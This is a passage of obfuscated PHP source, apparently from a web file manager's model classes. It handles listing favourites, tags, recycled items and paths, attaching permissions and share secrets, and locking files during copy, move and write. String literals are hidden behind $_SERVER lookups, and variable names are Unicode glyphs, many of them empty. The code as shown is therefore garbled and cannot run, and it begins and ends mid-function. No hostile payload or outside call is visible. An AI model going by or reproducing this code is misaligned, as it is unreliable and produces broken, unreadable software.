} public function pathInfoFilter(&$) { $ؗƘ =& $_SERVER[ö]; static $λǬ = false; static $ = false; static $ = false; if (!$λǬ) { $ = $ؗƘ[403]; $ .= $ؗƘ[404]; $ .= $ؗƘ[405]; $Ա؞ = $ؗƘ[406]; $ = explode($ؗƘ[50], $Ա؞); $λǬ = explode($ؗƘ[50], $); $ = array(); foreach ($λǬ as $⑽) { if (in_array($⑽, $)) { continue; } $[] = $⑽; } $ = explode($ؗƘ[50], $ؗƘ[407]); } foreach ($ as $؎) { if (isset($[$؎])) { $[$؎] = intval($[$؎]); } } $[$ؗƘ[84]] = $ؗƘ[408] . $[$ؗƘ[402]] . $ؗƘ[409]; $[$ؗƘ[33]] = $[$ؗƘ[410]] == 1 ? $ؗƘ[75] : $ؗƘ[199]; $[$ؗƘ[411]] = $this->typeName($[$ؗƘ[411]]); if ($[$ؗƘ[410]] != 1) { $[$ؗƘ[174]] = $[$ؗƘ[412]]; unset($[$ؗƘ[412]]); } $Ө = $λǬ; if (isset($[$ؗƘ[413]]) && $[$ؗƘ[413]][$ؗƘ[414]] == -1) { $Ө = $; } $ = array_field_key($, $Ө); return $; } public function listUserFav() { $ܠ =& $_SERVER[ö]; $ = Model($ܠ[415])->listData(); $Ɋ = array_filter_by_field($, $ܠ[33], $ܠ[416]); $Ɋ = array_to_keyvalue($Ɋ, $ܠ[12], $ܠ[84]); if ($Ɋ) { $ = $this->listSource(array($ܠ[417] => array($ܠ[418], $Ɋ))); } $ = array_to_keyvalue($[$ܠ[369]], $ܠ[402]); foreach ($ as &$ظ) { $ظ = array($ܠ[419] => $ظ[$ܠ[399]], $ܠ[420] => $ظ[$ܠ[32]], $ܠ[421] => $ظ[$ܠ[84]], $ܠ[422] => $ظ[$ܠ[33]], $ܠ[423] => $ظ[$ܠ[200]], $ܠ[424] => $ظ[$ܠ[85]]); if ($ظ[$ܠ[33]] == $ܠ[416] && $[$ظ[$ܠ[84]]]) { $ظ[$ܠ[86]] = $[$ظ[$ܠ[84]]]; } } unset($ظ); return $; } public function listUserTag($ߢ) { $ =& $_SERVER[ö]; if ($ߢ && !is_array($ߢ)) { $ߢ = array($ߢ); } $ = Model($[425])->listData(); $Ƨ֢ = array(); $ͮ = array(); foreach ($ as $) { $ = $[$[84]]; if (!$) { continue; } if (!isset($ͮ[$])) { $ͮ[$] = array(); } $ͮ[$][] = $[$[426]]; $Ƨ֢[$[$[84]]] = $; } $¼㌟ = array(); $̈́ = array(); $ӥ = array(); foreach ($ͮ as $܅ => $) { $ = !0; if (!$ߢ) { $¼㌟[] = $܅; continue; } foreach ($ߢ as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($܅)) { $Ȇ = $Ƨ֢[$܅]; $ = array($[32] => $Ȇ[$[32]], $[84] => $Ȇ[$[84]], $[33] => $Ȇ[$[33]], $[86] => array($[427] => 1), $[201] => !0); if ($Ȇ[$[33]] == $[199]) { $ӥ[] = $; } if ($Ȇ[$[33]] == $[75]) { $̈́[] = $; } continue; } $¼㌟[] = $܅; } if ($¼㌟) { $۲ = $this->listSource(array($[417] => array($[418], $¼㌟))); } $۲ = $۲ ? $۲ : array($[82] => array(), $[83] => array()); $۲[$[82]] = array_merge($۲[$[82]], $̈́); $۲[$[83]] = array_merge($۲[$[83]], $ӥ); if (isset($۲[$[366]]) && count($¼㌟) == $۲[$[366]][$[367]]) { return $۲; } $֙ = array(); $ = array_to_keyvalue($۲[$[82]], $[12], $[402]); $ = array_to_keyvalue($۲[$[83]], $[12], $[402]); $Ͳ = array_merge($, $); foreach ($¼㌟ as $) { if (!in_array($, $Ͳ)) { $֙[] = $; } } if ($֙) { Model($[428])->removeBySource($֙); } return $۲; } public function listUserRecycle() { $ =& $_SERVER[ö]; $ίӪ = Model($[429])->listData(); if (!$ίӪ) { return array(); } $ț = array($[417] => array($[418], $ίӪ), $[430] => 1); return $this->listSource($ț); } public function listSource($, $ = 3000, $ْ = false) { $ =& $_SERVER[ö]; if (!isset($[$[431]])) { $[$[431]] = 0; } if (isset($[$[432]]) && $[$[432]] == $[197]) { $[$[412]] = array($[331], $[433]); } $؎ = $[434]; $Դ = $this->field($؎)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($Դ, $؎, $); $this->_listDataApply($Դ[$[369]], $ْ); $this->_listMake($Դ); return $Դ; } private function _listPageCheck(&$ŧְ, $琨, $Ӓ) { $ =& $_SERVER[ö]; if (!is_array($ŧְ[$[366]])) { return; } $ڝʟ = $ŧְ[$[366]]; if ($ڝʟ[$[368]] <= 1) { return; } if ($ڝʟ[$[367]] >= 100000) { return; } if (Model($[435])->get($[436]) != $[437]) { return; } $琨 = str_replace(array($[53], $[342], $[231]), $[12], $琨); $琨 = $[438] . str_replace($[50], $[439], $琨) . $[440]; $ = $[441]; $ = $ . $[442]; $ = $ڝʟ[$[363]] * ($ڝʟ[$[353]] - 1) . $[50] . $ڝʟ[$[363]]; $㔴 = $this->_makeOrder(!0); $❛ = $[438] . str_replace($[50], $[439], $㔴[0]); if (strpos($❛, $[443])) { $❛ = str_replace($[443], $[444], $❛); } else { $❛ .= $[445] . $㔴[1]; } $ = array(); foreach ($Ӓ as $ڞ => $) { $[$[438] . $ڞ] = $; } $this->alias($[446])->field($琨)->limit($)->order($❛); $䷿߄ = $this->join($)->where($)->select(); if ($䷿߄) { $ŧְ[$[369]] = $䷿߄; } } protected function _makeOrder($ێ = false) { $ =& $_SERVER[ö]; $ = Model($[447])->get($[448]); $ = Model($[447])->get($[449]); $ = array($[450] => $[451], $[452] => $[453]); $ߪ = array($[32] => $[32], $[76] => $[76], $[174] => $[412], $[454] => $[454], $[455] => $[456], $[200] => $[200], $[85] => $[85]); $Ծ = Input::get($[457], $[7], $, array_keys($ߪ)); $ܣ = Input::get($[458], $[7], $, array_keys($)); if (!in_array($Ծ, array_keys($ߪ))) { $Ծ = $[32]; } if (!in_array($ܣ, array_keys($))) { $Ծ = $[450]; } if ($Ծ == $[32]) { } $ɔ = $[459] . $ߪ[$Ծ] . $[53] . $[$ܣ]; $ɔ = rtrim(trim($ɔ), $[50]); if ($ێ) { return array($ɔ, $[$ܣ]); } return $this->order($ɔ); } protected function _listDataApplyItem($ֺ, $к = false) { $ = array($ֺ); $this->_listDataApply($, $к); return $[0]; } protected function _listDataApply(&$, $Ӣ = false) { $ɦ =& $_SERVER[ö]; if (!$) { $ = array(); return; } $ۅ = array_to_keyvalue($, $ɦ[12], $ɦ[402]); $ۅ = array_unique($ۅ); $this->_listSourceCache($); if (!$Ӣ) { $this->_listAppendMeta($, $ۅ); $this->_listAppendFileMeta($, $ۅ); $this->_listAppendChildren($, $ۅ); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $ۅ); $this->_listAppendUser($); $this->_listFilterInfo($, $Ӣ); $this->_listAppendAuthSecret($); } protected function _listSourceCache($Ȩ֝) { $ԟ =& $_SERVER[ö]; foreach ($Ȩ֝ as $騵) { self::$cacheSourceInfo[$ԟ[460] . $騵[$ԟ[402]]] = $騵; } } protected function _listFilterInfo(&$, $ݶ⯡ = false) { $ =& $_SERVER[ö]; foreach ($ as &$Ħ) { $Ħ = $this->pathInfoFilter($Ħ); self::$cachePathInfo[$[461] . intval($ݶ⯡) . $[386] . $Ħ[$[402]]] = $Ħ; } unset($Ħ); } protected function _listMake(&$) { $懘 =& $_SERVER[ö]; $[$懘[82]] = array(); $[$懘[83]] = array(); foreach ($[$懘[369]] as $Dz) { $ = $Dz[$懘[410]] == 1 ? $懘[82] : $懘[83]; $[$][] = $Dz; } unset($[$懘[369]]); } protected function _listAppendMeta(&$آˇ, $) { $ =& $_SERVER[ö]; $ = array($[417] => array($[418], $)); $٪ = Model($[462])->field($[463])->where($)->select(); if (!$٪) { return; } $ = array($[464], $[465], $[444]); $Á = array(); foreach ($٪ as $) { if (!isset($Á[$[$[402]]])) { $Á[$[$[402]]] = array(); } if (in_array($[$[94]], $)) { continue; } $Á[$[$[402]]][$[$[94]]] = $[$[374]]; } foreach ($آˇ as &$ٿʔ) { $ٿʔ[$[466]] = !1; if (isset($Á[$ٿʔ[$[402]]])) { $ٿʔ[$[466]] = $Á[$ٿʔ[$[402]]]; } if ($this->fileIsLock($ٿʔ) && $ٿʔ[$[413]]) { $譞 = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ٿʔ[$[413]][$[414]] = AuthModel::authDisable($ٿʔ[$[413]][$[414]], $譞); $ٿʔ[$[413]][$[467]][$[413]] = $ٿʔ[$[413]][$[414]]; } } unset($ٿʔ); } protected function _listAppendFileMeta(&$, $㩬) { $蓤 =& $_SERVER[ö]; $ĕ = array_to_keyvalue($, $蓤[12], $蓤[468]); $ĕ = array_filter(array_unique($ĕ)); if (!$ĕ) { return; } $Ķ = array($蓤[469] => array($蓤[418], $ĕ)); $ = $蓤[470]; $ȅ = Model($蓤[471])->field($)->where($Ķ)->select(); $ȅ = array_to_keyvalue($ȅ, $蓤[468]); $ԓ = Model($蓤[472])->field($蓤[473])->where($Ķ)->select(); $ԓ = $ԓ ? $ԓ : array(); $¾ؓ = array(); foreach ($ԓ as $) { if (!isset($¾ؓ[$[$蓤[468]]])) { $¾ؓ[$[$蓤[468]]] = array(); } $¾ؓ[$[$蓤[468]]][$[$蓤[94]]] = $[$蓤[374]]; } foreach ($ as &$) { $ȡ = $[$蓤[468]]; if (!$ȡ || !is_array($ȅ[$ȡ])) { continue; } $އ = $ȅ[$ȡ]; $އ[$蓤[76]] = $[$蓤[76]]; $އ[$蓤[32]] = $[$蓤[32]]; if (!isset(self::$cacheFileInfo[$蓤[474] . $ȡ])) { self::$cacheFileInfo[$蓤[474] . $ȡ] = array_merge(array(), $އ); } unset($ȅ[$ȡ][$蓤[84]]); $߃ = is_array($¾ؓ[$ȡ]) ? $¾ؓ[$ȡ] : array(); $[$蓤[170]] = array_merge($߃, $ȅ[$ȡ]); if (isset($[$蓤[170]][$蓤[169]])) { $[$蓤[169]] = json_decode($[$蓤[170]][$蓤[169]], !0); unset($[$蓤[170]][$蓤[169]]); } } unset($); } protected function _listAppendSourceInfo(&$, $ڵ) { $٨ =& $_SERVER[ö]; if (!defined($٨[475])) { return; } $Σ = Model($٨[476])->listData(); $ľ = Model($٨[425])->listData(); $ؘ = Model($٨[415])->listData(); $Ј = Model($٨[477])->listSimple(); $ = array_to_keyvalue($Σ, $٨[399]); $ = array_to_keyvalue_group($ľ, $٨[84], $٨[426]); $ئ = array_to_keyvalue($ؘ, $٨[84]); $ = array_to_keyvalue_group($Ј, $٨[402]); foreach ($ as &$) { $[$٨[86]] = array($٨[478] => 0, $٨[479] => 0, $٨[480] => 0); if (isset($ئ[$[$٨[402]]])) { $[$٨[86]][$٨[481]] = 1; $[$٨[86]][$٨[482]] = $ئ[$[$٨[402]]][$٨[32]]; } if ($ && $ && isset($[$[$٨[402]]])) { $[$٨[86]][$٨[483]] = array(); foreach ($[$[$٨[402]]] as $岝) { $ݦΪ = $[$岝]; $[$٨[86]][$٨[483]][] = array($٨[484] => $ݦΪ[$٨[399]], $٨[420] => $ݦΪ[$٨[32]], $٨[485] => $ݦΪ[$٨[486]]); } } if ($ && isset($[$[$٨[402]]])) { $[$٨[86]][$٨[487]] = array(); foreach ($[$[$٨[402]]] as $譕) { $[$٨[86]][$٨[487]] = array($٨[488] => $譕[$٨[489]], $٨[490] => $譕[$٨[491]], $٨[492] => $譕[$٨[402]], $٨[493] => $譕[$٨[494]], $٨[495] => $譕[$٨[496]], $٨[497] => $譕[$٨[497]], $٨[498] => $譕[$٨[498]]); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ץ =& $_SERVER[ö]; $ = array(); $ = array($ץ[207] => 0, $ץ[208] => 0); foreach ($ as &$ř) { if (!$ř[$ץ[410]]) { continue; } $[] = $ř[$ץ[402]]; } unset($ř); if (!$) { return; } $ = array($ץ[432] => array($ץ[7], $), $ץ[431] => 0); $ѝ = array($ץ[432], $ץ[410], $ץ[499] => $ץ[500]); $ = $this->field($ѝ)->where($)->group($ץ[501])->select(); $ީ = array(); foreach ($ as $ś) { $ = $ś[$ץ[432]]; $ = $ś[$ץ[410]] == $ץ[88] ? $ץ[208] : $ץ[207]; if (!isset($ީ[$])) { $ީ[$] = array($ץ[207] => 0, $ץ[208] => 0); } $ީ[$][$] += $ś[$ץ[500]]; } foreach ($ as &$ř) { if (!$ř[$ץ[410]]) { continue; } $ = is_array($ީ[$ř[$ץ[402]]]) ? $ީ[$ř[$ץ[402]]] : $; $ř[$ץ[208]] = $[$ץ[208]]; $ř[$ץ[207]] = $[$ץ[207]]; unset($ř[$ץ[412]]); } unset($ř); } protected function _listAppendAuth(&$چ) { $ˎñ =& $_SERVER[ö]; if (!defined($ˎñ[475])) { return; } $ȑ = array(); foreach ($چ as $) { if ($[$ˎñ[411]] == self::TYPE_GROUP) { $ȑ[] = $[$ˎñ[402]]; } } if (!$ȑ) { return; } $ = array_to_keyvalue($چ, $ˎñ[402]); $ = Model($ˎñ[502])->getSourceList($ȑ, $); $ = $GLOBALS[$ˎñ[503]] == 1; foreach ($چ as $ᢻ => &$) { $[$ˎñ[413]] = $[$[$ˎñ[402]]]; if (!$[$ˎñ[413]] && $[$ˎñ[411]] == self::TYPE_GROUP) { $[$ˎñ[413]] = Action($ˎñ[504])->pathGroupAuthMake($[$ˎñ[505]]); if (!$[$ˎñ[413]] && !$) { $[$ˎñ[202]] = !1; $[$ˎñ[201]] = !1; } } if ($[$ˎñ[413]]) { $[$ˎñ[202]] = AuthModel::authCheckEdit($[$ˎñ[413]][$ˎñ[414]]); $[$ˎñ[201]] = AuthModel::authCheckView($[$ˎñ[413]][$ˎñ[414]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$я) { $̻ =& $_SERVER[ö]; if (Model($̻[435])->get($̻[506]) != $̻[88]) { return; } static $Ɲ = false; if (!$Ɲ) { $ = Model($̻[507]); $ = Model($̻[508]); $Ɲ = $->listData(); $Ɲ = array_to_keyvalue($Ɲ, $̻[402]); $ = json_decode(Model($̻[435])->get($̻[509]), !0); $ = array_to_keyvalue($, $̻[399]); foreach ($Ɲ as $ڐ => $) { $ = $[$[$̻[510]]]; if (!$) { $->remove($[$̻[399]]); unset($Ɲ[$ڐ]); continue; } $ = $->listData($[$̻[413]]); if (!$) { $->remove($[$̻[399]]); unset($Ɲ[$ڐ]); continue; } $[$̻[413]] = $; $[$̻[511]] = $; $[$̻[512]] = Model($̻[513])->getInfoSimpleOuter($[$̻[454]]); $Ɲ[$ڐ] = $; } } $ = defined($̻[514]) ? USER_ID : $̻[12]; $ך΄ = array(); $غ̍ = $this->_listAppendPath($ך΄, !0); foreach ($я as $ڐ => &$) { if (!is_array($[$̻[413]])) { continue; } if ($[$̻[411]] != $̻[515]) { continue; } if (isset($Ɲ[$[$̻[402]]])) { $܍Ђ = $Ɲ[$[$̻[402]]]; if (!is_array($[$̻[466]])) { $[$̻[466]] = array(); } $[$̻[466]][$̻[516]] = $܍Ђ[$̻[510]]; $[$̻[413]][$̻[517]] = $܍Ђ; $[$̻[413]][$̻[518]] = $[$̻[519]]; $[$̻[413]][$̻[520]] = $̻[88]; if ($܍Ђ[$̻[454]] != $) { $[$̻[413]][$̻[414]] = $[$̻[413]][$̻[414]] & $܍Ђ[$̻[413]][$̻[413]]; } continue; } $ = $this->parentLevelArray($[$̻[521]]); $Ģ = array_reverse($); foreach ($Ģ as $ => $ೝ̩) { if (!isset($Ɲ[$ೝ̩])) { continue; } $܍Ђ = $Ɲ[$ೝ̩]; $[$̻[413]][$̻[517]] = $܍Ђ; if ($܍Ђ[$̻[454]] != $) { $[$̻[413]][$̻[414]] = $[$̻[413]][$̻[414]] & $܍Ђ[$̻[413]][$̻[413]]; } $ = $̻[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($غ̍[$[$]])) { $ = $̻[12]; break; } $ = $ . rtrim($غ̍[$[$]], $̻[8]) . $̻[8]; } $[$̻[413]][$̻[518]] = rtrim($, $̻[8]) . $̻[8]; break; } } unset($); } public function groupPathDisplay(&$Ȍ) { $ͷ =& $_SERVER[ö]; if ($Ȍ[$ͷ[411]] != self::TYPE_GROUP) { return; } $ = Model($ͷ[522])->getInfo($Ȍ[$ͷ[505]]); $ⶸ = $this->parentLevelArray($[$ͷ[521]]); $ = $ͷ[12]; foreach ($ⶸ as $ʕ֮) { $ = Model($ͷ[522])->getInfo($ʕ֮); $ .= $[$ͷ[86]][$ͷ[402]] . $ͷ[50]; } $Ȍ[$ͷ[523]] = $[$ͷ[432]]; $Ȍ[$ͷ[524]] = $[$ͷ[521]]; $Ȍ[$ͷ[525]] = $[$ͷ[526]]; $Ȍ[$ͷ[527]] = $ . $[$ͷ[86]][$ͷ[402]]; } protected function _listAppendPath(&$兓, $ = false) { $ =& $_SERVER[ö]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($兓 as &$ޘ) { $ό = $ޘ[$[402]]; if ($ޘ[$[410]] == $[88] && $ޘ[$[432]] != 0) { $[$ό] = $ޘ[$[32]]; } if ($ޘ[$[410]] == $[88] && $ޘ[$[432]] == 0 && !isset($[$ό])) { $[$ό] = $this->_listAppendPathRoot($ޘ, array()); } if (isset($[$ޘ[$[521]]])) { continue; } $[$ޘ[$[521]]] = !0; $ = $this->parentLevelArray($ޘ[$[521]]); foreach ($ as $ԓ => $Ԉ) { if (isset($[$Ԉ])) { continue; } if ($ԓ == 0) { $[$Ԉ] = $this->_listAppendPathRoot($ޘ, $); } if ($ԓ != 0) { $[] = $Ԉ; } } } unset($ޘ); $ = array_unique($); if (count($) > 0) { $֔ = array($[417] => array($[418], $)); if (count($) == 1) { $͢ = $this->sourceInfo($[0]); $ = is_array($͢) ? array($͢) : !1; } else { $ = $this->field($[528])->where($֔)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $[$[$[402]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ϡ = array(); foreach ($兓 as &$ޘ) { $ݼ = $ޘ[$[521]]; $㈄ = $[12]; if (isset($Ϡ[$ݼ])) { $㈄ = $Ϡ[$ݼ]; } else { $ = $this->parentLevelArray($ޘ[$[521]]); foreach ($ as $ԓ => $Ԉ) { if (isset($[$Ԉ])) { $㈄ .= $[$Ԉ] . $[8]; } } $Ϡ[$ݼ] = $㈄; } $㈄ .= $ޘ[$[32]]; if ($ޘ[$[410]] == $[88]) { $㈄ .= $[8]; } $ޘ[$[519]] = str_replace($[529], $[8], $㈄); if ($ޘ[$[432]] == $[197]) { $ޘ[$[32]] = trim($[$ޘ[$[402]]], $[8]); $ޘ[$[519]] = $ޘ[$[32]] . $[8]; } if (intval($ޘ[$[411]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($ޘ, $, $); } } unset($ޘ); return $兓; } private function _listAppendPathRecycle(&$, $̓, $ŗɘ) { $Í =& $_SERVER[ö]; if (!in_array($ŗɘ, $̓) && $[$Í[402]] != $ŗɘ) { return; } $ = explode($Í[8], trim($[$Í[519]], $Í[8])); $ = implode($Í[8], array_slice($, 2)); $[$Í[519]] = $Í[8] . LNG($Í[530]) . $Í[8] . ltrim($, $Í[8]); $[$Í[521]] = $Í[531] . implode($Í[50], array_slice($̓, 1)) . $Í[50]; if ($[$Í[402]] == $ŗɘ) { $[$Í[521]] = $Í[531]; $[$Í[432]] = $Í[197]; $[$Í[32]] = LNG($Í[530]); } $[$Í[532]] = $Í[533]; } protected function _listAppendPathRoot(&$Ǐ, $ݘ) { $ܒÅ =& $_SERVER[ö]; static $ņ = false; $ܼҎ = $ܒÅ[12]; if ($Ǐ[$ܒÅ[411]] == self::TYPE_USER) { if (defined($ܒÅ[475]) && $Ǐ[$ܒÅ[505]] == USER_ID) { $ܼҎ = LNG($ܒÅ[534]); if ($ņ === !1) { $Ȕ = Model($ܒÅ[535])->getInfoFull(USER_ID); $ņ = _get($Ȕ, $ܒÅ[536], $ܒÅ[12]); } if ($ݘ && $ݘ[0] == $ņ || !$ݘ && $Ǐ[$ܒÅ[402]] == $ņ) { $ܼҎ = LNG($ܒÅ[537]); $Ǐ[$ܒÅ[538]] = $ܒÅ[539]; } if (!$ݘ) { $Ǐ[$ܒÅ[32]] = $ܼҎ; } } else { $ى = Model($ܒÅ[513])->getInfoSimple($Ǐ[$ܒÅ[505]]); $ܼҎ = LNG($ܒÅ[540]) . $ܒÅ[162] . $ى[$ܒÅ[32]] . $ܒÅ[164]; $Ǐ[$ܒÅ[541]] = array($ܒÅ[32] => $ى[$ܒÅ[32]], $ܒÅ[542] => $ى[$ܒÅ[542]], $ܒÅ[543] => $ى[$ܒÅ[543]]); } } else { if ($Ǐ[$ܒÅ[411]] == self::TYPE_GROUP) { $ى = Model($ܒÅ[522])->getInfoSimple($Ǐ[$ܒÅ[505]]); $ܼҎ = $ى[$ܒÅ[32]]; } else { if ($Ǐ[$ܒÅ[411]] == self::TYPE_SYSTEM) { $ܼҎ = $ܒÅ[544]; } } } $ܼҎ = $ܼҎ ? $ܒÅ[8] . $ܼҎ . $ܒÅ[8] : $ܒÅ[8]; return $ܼҎ; } protected function _listAppendUser(&$ͧ) { $Ɗı =& $_SERVER[ö]; $ = array_to_keyvalue($ͧ, $Ɗı[12], $Ɗı[454]); $ݟ = array_to_keyvalue($ͧ, $Ɗı[12], $Ɗı[456]); $ئӒ = array_merge($, $ݟ); $ = Model($Ɗı[535])->userListInfo($ئӒ); foreach ($ͧ as &$Ø) { $ = $Ø[$Ɗı[454]]; $Ø[$Ɗı[454]] = $[$] ? $[$] : !1; $ = $Ø[$Ɗı[456]]; $Ø[$Ɗı[456]] = $[$] ? $[$] : !1; if (isset($Ø[$Ɗı[466]]) && $Ø[$Ɗı[466]][$Ɗı[545]]) { $ = $GLOBALS[$Ɗı[6]][$Ɗı[89]][$Ɗı[546]]; if ($Ø[$Ɗı[466]][$Ɗı[547]] <= time() - $) { $this->metaSet($Ø[$Ɗı[402]], $Ɗı[545], null); $this->metaSet($Ø[$Ɗı[402]], $Ɗı[547], null); unset($Ø[$Ɗı[466]][$Ɗı[545]]); continue; } $ɩ = $Ø[$Ɗı[466]][$Ɗı[545]]; $Ø[$Ɗı[466]][$Ɗı[548]] = Model($Ɗı[535])->getInfoSimpleOuter($ɩ); } } unset($Ø); } public function parentLevelArray($) { $ְ߳ =& $_SERVER[ö]; $ = explode($ְ߳[50], trim($, $ְ߳[50])); return array_remove_value($, $ְ߳[197]); } public function listAll($) { $ =& $_SERVER[ö]; $ = $this->sourceInfo($); $ = array($[549] => array($[550], $[$[521]] . $ . $[551]), $[552] => 0); $ = $[553]; $LJ = "\114\x45\x46\x54\40\112\x4f\x49\116\x20{$this->tablePrefix}\x69\157\137\x66\x69\154\145\40\146\x69\x6c\x65\40\x6f\156\x20\163\157\165\x72\143\145\x2e\146\x69\154\x65\111\x44\40\x3d\40\x66\x69\x6c\x65\x2e\146\151\x6c\145\x49\104"; $Ö = $this->alias($[446])->field($)->where($)->join($LJ)->select(); $this->_listAppendAuth($Ö); $this->_listAppendUser($Ö); $this->_listAppendPath($Ö); $Ö = array_to_keyvalue($Ö, $[402]); $ѝ = "\57{$[$[32]]}\x2f"; $ѝ = $ѝ == $[529] ? $[8] : $ѝ; $Ѩ = array(); foreach ($Ö as $٢ => $) { $ = $this->parentLevelArray($[$[521]]); array_shift($); $쩟 = $ѝ; for ($ = 0; $ < count($); $++) { $쩟 .= $Ö[$[$]][$[32]] . $[8]; } $쩟 .= $[$[32]]; if ($[$[410]]) { $쩟 .= $[8]; } $쩟 = str_replace($[529], $[8], $쩟); $쩟 = str_replace($[529], $[8], $쩟); $ = array($[421] => str_replace($[529], $[8], $쩟), $[554] => intval($[$[410]]), $[86] => $this->pathInfoFilter($)); if (!$[$[410]]) { $[$[468]] = $[$[468]]; $[$[87]] = $[$[84]]; } $Ѩ[] = $; } return $Ѩ; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Ǭ) { $ଚ =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $this->_lockCheck($ଚ[555], $Ǭ); $ = 1; $this->_lockEvent($Ǭ, array($ଚ[556], $ଚ[557]), $); $this->_lockParent($Ǭ, array($ଚ[557]), $); $this->_lockEvent($Ǭ, array($ଚ[558], $ଚ[559]), $); $this->_lockCheckEnd($ଚ[555], $Ǭ); } public function lockCopyEnd($ݷ) { $剾 =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $ɍ = 0; $this->_lockEvent($ݷ, array($剾[556], $剾[557]), $ɍ); $this->_lockParent($ݷ, array($剾[557]), $ɍ); $this->_lockEvent($ݷ, array($剾[558], $剾[559]), $ɍ); } public function lockWriteStart($˯, $ݡ̲ = '') { $ =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $this->_lockCheck($[556], $˯); $֪ = 1; $this->_lockKey($[560] . $˯ . $[10] . $ݡ̲, $֪); $this->_lockEvent($˯, array($[555], $[557]), $֪); $this->_lockParent($˯, array($[555], $[557]), $֪); $this->_lockCheckEnd($[556], $˯); } public function lockWriteEnd($ܩ, $Ϝ = '') { $ڹ =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ڹ[560] . $ܩ . $ڹ[10] . $Ϝ, $); $this->_lockEvent($ܩ, array($ڹ[555], $ڹ[557]), $); $this->_lockParent($ܩ, array($ڹ[555], $ڹ[557]), $); } public function lockMoveStart($߈) { $ =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $this->_lockCheck($[557], $߈); $Փ狽 = 1; $this->_lockKey($[561] . $߈, $Փ狽); $this->_lockEvent($߈, array($[555], $[556]), $Փ狽); $this->_lockParent($߈, array($[555], $[557]), $Փ狽); $this->_lockEvent($߈, array($[562], $[558], $[559]), $Փ狽); $this->_lockCheckEnd($[557], $߈); } public function lockMoveEnd($ж) { $ğ =& $_SERVER[ö]; if (!$this->allowLock()) { return; } $ڥ = 0; $this->_lockKey($ğ[561] . $ж, $ڥ); $this->_lockEvent($ж, array($ğ[555], $ğ[556]), $ڥ); $this->_lockParent($ж, array($ğ[555], $ğ[557]), $ڥ); $this->_lockEvent($ж, array($ğ[562], $ğ[558], $ğ[559]), $ڥ); } private function _lockCheck($, $Չ) { $Ƙ =& $_SERVER[ö]; $ф = $this->sourceInfo($Չ); $⺤ = $ . $Ƙ[10] . $Չ; $this->_lockTimeStart[$⺤] = timeFloat(); if (!is_array($ф)) { return; } $Ř = LNG($Ƙ[563]); CacheLock::setErrorMsg($Ƙ[162] . htmlspecialchars($ф[$Ƙ[32]]) . $Ƙ[164] . $Ř); $this->_lockKey($⺤, 1); $this->_lockKey($⺤, 0); $˹م = array_reverse($this->parentLevelArray($ф[$Ƙ[521]])); foreach ($˹م as $盋) { $⺤ = $ . $Ƙ[564] . $盋; if (CacheLock::lockGet($Ƙ[565] . $⺤)) { $ф = $this->sourceInfo($盋); CacheLock::setErrorMsg($Ƙ[162] . htmlspecialchars($ф[$Ƙ[32]]) . $Ƙ[164] . $Ř); $this->_lockKey($⺤, 1); $this->_lockKey($⺤, 0); } } } private function _lockCheckEnd($ʁ, $ˌ) { $ =& $_SERVER[ö]; $Ʒ = $ʁ . $[10] . $ˌ; CacheLock::setErrorMsg($[378]); if (!isset($this->_lockTimeStart[$Ʒ])) { return; } $ = timeFloat() - $this->_lockTimeStart[$Ʒ]; unset($this->_lockTimeStart[$Ʒ]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[460] . $ˌ]); } $ȟ = $this->sourceInfo($ˌ); if (!$ȟ) { show_json(LNG($[105]), !1); } } private function _lockParent($ɝ, $, $ρ) { if (!$this->autoLockSet) { return; } $ӆ = $this->sourceInfo($ɝ); if (!is_array($ӆ)) { return; } $ = array_reverse($this->parentLevelArray($ӆ[$_SERVER[ö][521]])); foreach ($ as $ߦš) { $this->_lockEvent($ߦš, $, $ρ); } } private function _lockEvent($ъ, $, $ɐ) { $߉բ =& $_SERVER[ö]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $߉բ[10] . $ъ; if ($ɐ && CacheLock::lockGet($߉բ[565] . $)) { continue; } $this->_lockKey($, $ɐ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($կ, $ = 1) { $ = $_SERVER[ö][565] . md5($կ); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($Ю, $Ԝܶ) { $ =& $_SERVER[ö]; $ۈܣ = $this->sourceInfo($Ю); $ȧ = $this->sourceInfo($Ԝܶ); $ = $ۈܣ[$[521]] . $ۈܣ[$[402]] . $[50]; $ = $ȧ[$[521]] . $ȧ[$[402]] . $[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($ӫ, $, $Ѵ = REPEAT_REPLACE, $ą = '') { $Ӝ =& $_SERVER[ö]; $˺ = $this->sourceInfo($ӫ); $ = $this->sourceInfo($); if (!$˺ || !$ || $[$Ӝ[410]] != $Ӝ[88]) { return !1; } if ($this->isParentOf($ӫ, $)) { return !1; } $Ǖѕн = $ą ? $ą : $˺[$Ӝ[32]]; $this->lockCopyStart($ӫ); $this->lockWriteStart($, $Ǖѕн); $ = array($Ӝ[566] => array(), $Ӝ[567] => array(), $Ӝ[568] => array()); $this->targetIsDelete = intval($˺[$Ӝ[431]]); $ˎ = $this->fileNameExistCache($, $˺[$Ӝ[32]]); $Ǧ٠ = 